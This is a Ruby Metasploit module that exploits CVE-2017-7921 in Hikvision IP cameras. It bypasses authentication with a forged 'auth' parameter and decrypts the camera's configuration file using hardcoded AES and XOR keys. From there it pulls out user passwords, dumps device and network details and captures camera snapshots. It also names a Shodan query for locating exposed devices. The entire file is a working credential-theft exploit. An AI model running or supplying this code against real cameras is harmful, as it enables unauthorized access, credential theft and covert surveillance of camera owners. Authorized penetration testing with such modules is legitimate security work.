## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary require 'openssl' prepend Msf::Exploit::Remote::AutoCheck include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient # AES hex encryption key and XOR key defined constants used to decrypt the camare configuration file AES_KEY = '279977f62f6cfd2d91cd75b889ce0c9a'.freeze XOR_KEY = "\x73\x8b\x55\x44".freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Unauthenticated information disclosure such as configuration, credentials and camera snapshots of a vulnerable Hikvision IP Camera', 'Description' => %q{ Many Hikvision IP cameras have improper authorization logic that allows unauthenticated information disclosure of camera information, such as detailed hardware and software configuration, user credentials, and camera snapshots. The vulnerability has been present in Hikvision products since 2014. In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names. Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing (shodan search: "App-webs" "200 OK"). This module allows the attacker to retrieve this information without any authentication. The information is stored in loot for future use. }, 'License' => MSF_LICENSE, 'Author' => [ 'Monte Crypto', # Researcher who discovered and disclosed this vulnerability 'h00die-gr3y ' # Developer and author of this Metasploit module ], 'References' => [ [ 'CVE', '2017-7921' ], [ 'PACKETSTORM', '144097' ], [ 'URL', 'https://ipvm.com/reports/hik-exploit' ], [ 'URL', 'https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921' ], [ 'URL', 'http://seclists.org/fulldisclosure/2017/Sep/23' ] ], 'Actions' => [ ['Automatic', { 'Description' => 'Dump all information' }], ['Credentials', { 'Description' => 'Dump all credentials and passwords' }], ['Configuration', { 'Description' => 'Dump camera hardware and software configuration' }], ['Snapshot', { 'Description' => 'Take a camera snapshot' }] ], 'DefaultAction' => 'Automatic', 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false }, 'DisclosureDate' => '2017-09-23', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptBool.new( 'PRINT', [ false, 'Print output to console (not applicable for snapshot)', true ] ) ]) end def get_info(uri) password = Rex::Text.rand_text_alphanumeric(4..12) auth = Base64.urlsafe_encode64("admin:#{password}", padding: false) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'vars_get' => { 'auth' => auth.strip } }) return res rescue StandardError => e print_error("#{peer} - Communication error occurred: #{e.message}") elog("#{peer} - Communication error occurred: #{e.message}", error: e) return nil end def report_creds(user, pwd) credential_data = { module_fullname: fullname, username: user, private_data: pwd, private_type: :password, workspace_id: myworkspace_id, status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_details) cred_res = create_credential_and_login(credential_data) unless cred_res.nil? print_status("Credentials for user:#{user} are added to the database...") end end def decrypt_config text_data = [] # Get AES128-ECB encrypted camera configuration file with user and password information uri = normalize_uri(target_uri.path, 'System', 'configurationFile') aes_data = get_info(uri) if aes_data.nil? print_error('Target server did not respond to the configuration file download request.') elsif aes_data.code == 200 # decrypt configuration file data with the weak AES128-ECB encryption hex key: 279977f62f6cfd2d91cd75b889ce0c9a decipher = OpenSSL::Cipher.new('aes-128-ecb') decipher.decrypt decipher.key = [AES_KEY].pack('H*') # transform hex key to 16 bits key xor_data = decipher.update(aes_data.body) + decipher.final # decode the AES decrypted configuration file data with xor key: 73 8B 55 44 file_data = Rex::Text.xor(XOR_KEY.b, xor_data) # extract text chunks with regular expression below... text_data = file_data.scan(%r{[0-9A-Za-z_\#~`@|\\/=*\^:"'.;{}?\-+&!$%()\[\]<>]+}x) end return text_data end def get_creds loot_data = '' pwd = nil print_status('Getting the user credentials...') uri = normalize_uri(target_uri.path, 'Security', 'users') creds_info = get_info(uri) if creds_info.nil? print_error('Target server did not respond to the credentials request.') elsif creds_info.code == 200 # process XML output and store output in loot_data xml_creds_info = creds_info.get_xml_document if xml_creds_info.blank? print_error('No users were found in the returned CSS code!') else # Download camera configuration file and and decrypt text_data = decrypt_config loot_data << "User Credentials Information:\n" loot_data << "-----------------------------\n" xml_creds_info.css('User').each do |user| unless text_data.empty? # Filter out password based on user name and store credentials in the database i = text_data.each_with_index.select { |text_chunk, _index| text_chunk == user.at_css('userName').content }.map { |pair| pair[1] } if i.empty? print_error("Could not retrieve password for user:#{user.at_css('userName').content} from the camera configuration file!") else pwd = text_data[i.last + 1] report_creds(user.at_css('userName').content, pwd) end end loot_data << "User:#{user.at_css('userName').content} | ID:#{user.at_css('id').content} | Role:#{user.at_css('userLevel').content} | Password: #{pwd}\n" end end else print_error('Response code invalid for obtaining the user credentials.') end unless loot_data.empty? if datastore['PRINT'] print_status(loot_data.to_s) end loot_path = store_loot('hikvision.credential', 'text/plain', datastore['RHOSTS'], loot_data, 'credentials', 'leaked credentials') print_good("User credentials are successfully saved to #{loot_path}") end end def get_config loot_data = '' # Get device info print_status('Getting the camera hardware and software configuration...') uri = normalize_uri(target_uri.path, 'System', 'deviceInfo') device_info = get_info(uri) if device_info.nil? print_error('Target server did not respond to the device info request.') elsif device_info.code == 200 # process XML output and store in loot_data xml_device_info = device_info.get_xml_document if xml_device_info.blank? print_error('No device info was found in the returned CSS code!') else loot_data << "Camera Device Information:\n" loot_data << "--------------------------\n" xml_device_info.css('DeviceInfo').each do |device| loot_data << "Device name: #{device.at_css('deviceName').content}\n" loot_data << "Device ID: #{device.at_css('deviceID').content}\n" loot_data << "Device description: #{device.at_css('deviceDescription').content}\n" loot_data << "Device manufacturer: #{device.at_css('systemContact').content}\n" loot_data << "Device model: #{device.at_css('model').content}\n" loot_data << "Device S/N: #{device.at_css('serialNumber').content}\n" loot_data << "Device MAC: #{device.at_css('macAddress').content}\n" loot_data << "Device firmware version: #{device.at_css('firmwareVersion').content}\n" loot_data << "Device firmware release: #{device.at_css('firmwareReleasedDate').content}\n" loot_data << "Device boot version: #{device.at_css('bootVersion').content}\n" loot_data << "Device boot release: #{device.at_css('bootReleasedDate').content}\n" loot_data << "Device hardware version: #{device.at_css('hardwareVersion').content}\n" end loot_data << "\n" end else print_error('Response code invalid for obtaining camera hardware and software configuration.') end # Get network configuration uri = normalize_uri(target_uri.path, 'Network', 'interfaces') network_info = get_info(uri) if network_info.nil? print_error('Target server did not respond to the network info request.') elsif network_info.code == 200 # process XML output and store in loot_data xml_network_info = network_info.get_xml_document if xml_network_info.blank? print_error('No network info was found in the returned CSS code!') else loot_data << "Camera Network Information:\n" loot_data << "---------------------------\n" xml_network_info.css('NetworkInterface').each do |interface| loot_data << "IP interface: #{interface.at_css('id').content}\n" xml_network_info.css('IPAddress').each do |ip| loot_data << "IP version: #{ip.at_css('ipVersion').content}\n" loot_data << "IP assignment: #{ip.at_css('addressingType').content}\n" loot_data << "IP address: #{ip.at_css('ipAddress').content}\n" loot_data << "IP subnet mask: #{ip.at_css('subnetMask').content}\n" xml_network_info.css('DefaultGateway').each do |gateway| loot_data << "Default gateway: #{gateway.at_css('ipAddress').content}\n" end xml_network_info.css('PrimaryDNS').each do |dns| loot_data << "Primary DNS: #{dns.at_css('ipAddress').content}\n" end end end loot_data << "\n" end else print_error('Response code invalid for obtaining camera network configuration.') end # Get storage configuration uri = normalize_uri(target_uri.path, 'System', 'Storage', 'volumes') storage_info = get_info(uri) if storage_info.nil? print_error('Target server did not respond to the storage info request.') elsif storage_info.code == 200 # process XML output and store in loot xml_storage_info = storage_info.get_xml_document if xml_storage_info.blank? print_error('No storage info was found in the returned CSS code!') else loot_data << "Camera Storage Information:\n" loot_data << "---------------------------\n" xml_storage_info.css('StorageVolume').each do |volume| loot_data << "Storage volume name: #{volume.at_css('volumeName').content}\n" loot_data << "Storage volume ID: #{volume.at_css('id').content}\n" loot_data << "Storage volume description: #{volume.at_css('storageDescription').content}\n" loot_data << "Storage device: #{volume.at_css('storageLocation').content}\n" loot_data << "Storage type: #{volume.at_css('storageType').content}\n" loot_data << "Storage capacity (MB): #{volume.at_css('capacity').content}\n" loot_data << "Storage device status: #{volume.at_css('status').content}\n" end end else print_error('Response code invalid for obtaining camera storage configuration.') end unless loot_data.empty? if datastore['PRINT'] print_status(loot_data.to_s) end loot_path = store_loot('hikvision.config', 'text/plain', datastore['RHOSTS'], loot_data, 'configuration', 'camera configuration') print_good("Camera configuration details are successfully saved to #{loot_path}") end end def take_snapshot jpeg_image = nil # Take a snapshot and store as jpeg print_status('Taking a camera snapshot...') uri = normalize_uri(target_uri.path, 'Streaming', 'channels', '1', 'picture?snapShotImageType=JPEG') res = get_info(uri) if res.nil? print_error('Target server did not respond to the snapshot request.') elsif res.code == 200 jpeg_image = res.body else print_error('Response code invalid for obtaining a camera snapshot.') end unless jpeg_image.nil? loot_path = store_loot('hikvision.image', 'jpeg/image', datastore['RHOSTS'], jpeg_image, 'snapshot', 'camera snapshot') print_good("Camera snapshot is successfully saved to #{loot_path}") end end def check uri = normalize_uri(target_uri.path, 'System', 'time') res = get_info(uri) if res.nil? return Exploit::CheckCode::Unknown elsif res.code == 200 return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def run case action.name when 'Automatic' print_status('Running in automatic mode') get_creds get_config take_snapshot when 'Credentials' get_creds when 'Configuration' get_config when 'Snapshot' take_snapshot end end end